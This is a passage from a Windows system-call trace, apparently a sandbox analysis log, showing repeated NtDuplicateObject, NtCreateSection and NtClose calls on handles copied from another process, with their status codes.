	[0072.791] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x254, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.791] NtClose (Handle=0x31c) returned 0x0
	[0072.791] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x258, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x32c) returned 0x0
	[0072.791] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x32c | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.791] NtClose (Handle=0x32c) returned 0x0
	[0072.791] NtClose (Handle=0x31c) returned 0x0
	[0072.791] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x25c, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x32c) returned 0x0
	[0072.791] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x32c | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.791] NtClose (Handle=0x32c) returned 0x0
	[0072.791] NtClose (Handle=0x31c) returned 0x0
	[0072.791] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x260, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x32c) returned 0x0
	[0072.791] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x32c | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.791] NtClose (Handle=0x32c) returned 0x0
	[0072.791] NtClose (Handle=0x31c) returned 0x0
	[0072.791] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x264, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x32c) returned 0x0
	[0072.791] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x32c | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.791] NtClose (Handle=0x32c) returned 0x0
	[0072.791] NtClose (Handle=0x31c) returned 0x0
	[0072.792] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x268, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x32c) returned 0x0
	[0072.792] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x32c | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.792] NtClose (Handle=0x32c) returned 0x0
	[0072.792] NtClose (Handle=0x31c) returned 0x0
	[0072.792] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x26c, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x32c) returned 0x0
	[0072.792] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x32c | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.792] NtClose (Handle=0x32c) returned 0x0
	[0072.792] NtClose (Handle=0x31c) returned 0x0
	[0072.792] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x270, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x32c) returned 0x0
	[0072.792] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x32c | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.792] NtClose (Handle=0x32c) returned 0x0
	[0072.792] NtClose (Handle=0x31c) returned 0x0
	[0072.792] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x274, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x32c) returned 0x0
	[0072.792] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x32c | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.792] NtClose (Handle=0x32c) returned 0x0
	[0072.792] NtClose (Handle=0x31c) returned 0x0
	[0072.792] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x278, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x32c) returned 0x0
	[0072.792] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x32c | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.792] NtClose (Handle=0x32c) returned 0x0
	[0072.792] NtClose (Handle=0x31c) returned 0x0
	[0072.792] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x27c, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x32c) returned 0x0
	[0072.792] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x32c | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.793] NtClose (Handle=0x32c) returned 0x0
	[0072.793] NtClose (Handle=0x31c) returned 0x0
	[0072.793] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x280, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x32c) returned 0x0
	[0072.793] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x32c | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.793] NtClose (Handle=0x32c) returned 0x0
	[0072.793] NtClose (Handle=0x31c) returned 0x0
	[0072.793] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x284, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x32c) returned 0x0
	[0072.793] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x32c | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.793] NtClose (Handle=0x32c) returned 0x0
	[0072.793] NtClose (Handle=0x31c) returned 0x0
	[0072.793] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x288, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x32c) returned 0x0
	[0072.793] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x32c | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.793] NtClose (Handle=0x32c) returned 0x0
	[0072.793] NtClose (Handle=0x31c) returned 0x0
	[0072.793] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x28c, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x32c) returned 0x0
	[0072.793] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x32c | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.793] NtClose (Handle=0x32c) returned 0x0
	[0072.793] NtClose (Handle=0x31c) returned 0x0
	[0072.793] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x290, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x32c) returned 0x0
	[0072.793] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x32c | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.793] NtClose (Handle=0x32c) returned 0x0
	[0072.793] NtClose (Handle=0x31c) returned 0x0
	[0072.794] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x294, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x32c) returned 0x0
	[0072.794] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x32c | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.794] NtClose (Handle=0x32c) returned 0x0
	[0072.794] NtClose (Handle=0x31c) returned 0x0
	[0072.794] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x298, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x32c) returned 0x0
	[0072.794] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x32c | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.794] NtClose (Handle=0x32c) returned 0x0
	[0072.794] NtClose (Handle=0x31c) returned 0x0
	[0072.794] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x29c, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x32c) returned 0x0
	[0072.794] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x32c | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.794] NtClose (Handle=0x32c) returned 0x0
	[0072.794] NtClose (Handle=0x31c) returned 0x0
	[0072.794] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x2a0, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x32c) returned 0x0
	[0072.794] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x32c | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.794] NtClose (Handle=0x32c) returned 0x0
	[0072.794] NtClose (Handle=0x31c) returned 0x0
	[0072.794] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x2a4, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x32c) returned 0x0
	[0072.794] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x32c | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.794] NtClose (Handle=0x32c) returned 0x0
	[0072.794] NtClose (Handle=0x31c) returned 0x0
	[0072.794] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x2a8, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x32c) returned 0x0
	[0072.794] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x32c | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.794] NtClose (Handle=0x32c) returned 0x0
	[0072.795] NtClose (Handle=0x31c) returned 0x0
	[0072.795] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x2ac, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x32c) returned 0x0
	[0072.795] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x32c | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.795] NtClose (Handle=0x32c) returned 0x0
	[0072.795] NtClose (Handle=0x31c) returned 0x0
	[0072.795] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x2b0, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x32c) returned 0x0
	[0072.795] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x32c | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.795] NtClose (Handle=0x32c) returned 0x0
	[0072.795] NtClose (Handle=0x31c) returned 0x0
	[0072.795] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x2b4, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x32c) returned 0x0
	[0072.795] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x32c | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.795] NtClose (Handle=0x32c) returned 0x0
	[0072.795] NtClose (Handle=0x31c) returned 0x0
	[0072.795] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x2b8, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x32c) returned 0x0
	[0072.795] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x32c | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.795] NtClose (Handle=0x32c) returned 0xc0000235
	[0072.795] NtClose (Handle=0x31c) returned 0x0
	[0072.795] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x2bc, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x330) returned 0x0
	[0072.795] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x330 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.795] NtClose (Handle=0x330) returned 0xc0000235
	[0072.795] NtClose (Handle=0x31c) returned 0x0
	[0072.795] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x2c0, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x334) returned 0x0
	[0072.795] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x334 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.796] NtClose (Handle=0x334) returned 0x0
	[0072.796] NtClose (Handle=0x31c) returned 0x0
	[0072.796] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x2c4, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x334) returned 0x0
	[0072.796] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x334 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.796] NtClose (Handle=0x334) returned 0x0
	[0072.796] NtClose (Handle=0x31c) returned 0x0
	[0072.796] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x2c8, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x334) returned 0x0
	[0072.796] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x334 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.796] NtClose (Handle=0x334) returned 0xc0000235
	[0072.796] NtClose (Handle=0x31c) returned 0x0
	[0072.796] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x2cc, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x338) returned 0x0
	[0072.796] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x338 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.796] NtClose (Handle=0x338) returned 0xc0000235
	[0072.796] NtClose (Handle=0x31c) returned 0x0
	[0072.796] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x2d0, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x33c) returned 0x0
	[0072.796] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x33c | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.796] NtClose (Handle=0x33c) returned 0xc0000235
	[0072.796] NtClose (Handle=0x31c) returned 0x0
	[0072.796] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x2d4, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x340) returned 0x0
	[0072.796] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x340 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.796] NtClose (Handle=0x340) returned 0x0
	[0072.796] NtClose (Handle=0x31c) returned 0x0
	[0072.797] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x2d8, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x340) returned 0x0
	[0072.797] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x340 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.797] NtClose (Handle=0x340) returned 0x0
	[0072.797] NtClose (Handle=0x31c) returned 0x0
	[0072.797] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x2dc, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x340) returned 0x0
	[0072.797] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x340 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.797] NtClose (Handle=0x340) returned 0x0
	[0072.797] NtClose (Handle=0x31c) returned 0x0
	[0072.797] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x2e0, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x340) returned 0x0
	[0072.797] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x340 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.797] NtClose (Handle=0x340) returned 0x0
	[0072.797] NtClose (Handle=0x31c) returned 0x0
	[0072.797] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x2e4, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x340) returned 0x0
	[0072.797] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x340 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.797] NtClose (Handle=0x340) returned 0x0
	[0072.797] NtClose (Handle=0x31c) returned 0x0
	[0072.797] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x2e8, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x340) returned 0x0
	[0072.797] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x340 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.797] NtClose (Handle=0x340) returned 0x0
	[0072.798] NtClose (Handle=0x31c) returned 0x0
	[0072.798] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x2ec, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x340) returned 0x0
	[0072.798] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x340 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.798] NtClose (Handle=0x340) returned 0x0
	[0072.798] NtClose (Handle=0x31c) returned 0x0
	[0072.798] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x2f0, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x340) returned 0x0
	[0072.798] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x340 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.798] NtClose (Handle=0x340) returned 0x0
	[0072.798] NtClose (Handle=0x31c) returned 0x0
	[0072.798] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x2f4, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x340) returned 0x0
	[0072.798] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x340 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.798] NtClose (Handle=0x340) returned 0x0
	[0072.798] NtClose (Handle=0x31c) returned 0x0
	[0072.798] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x2f8, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.798] NtClose (Handle=0x31c) returned 0x0
	[0072.798] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x2fc, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.798] NtClose (Handle=0x31c) returned 0x0
	[0072.798] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x300, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.798] NtClose (Handle=0x31c) returned 0x0
	[0072.798] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x304, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x340) returned 0x0
	[0072.798] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x340 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.798] NtClose (Handle=0x340) returned 0xc0000235
	[0072.798] NtClose (Handle=0x31c) returned 0x0
	[0072.798] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x308, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x344) returned 0x0
	[0072.799] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x344 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.799] NtClose (Handle=0x344) returned 0xc0000235
	[0072.799] NtClose (Handle=0x31c) returned 0x0
	[0072.799] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x30c, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x348) returned 0x0
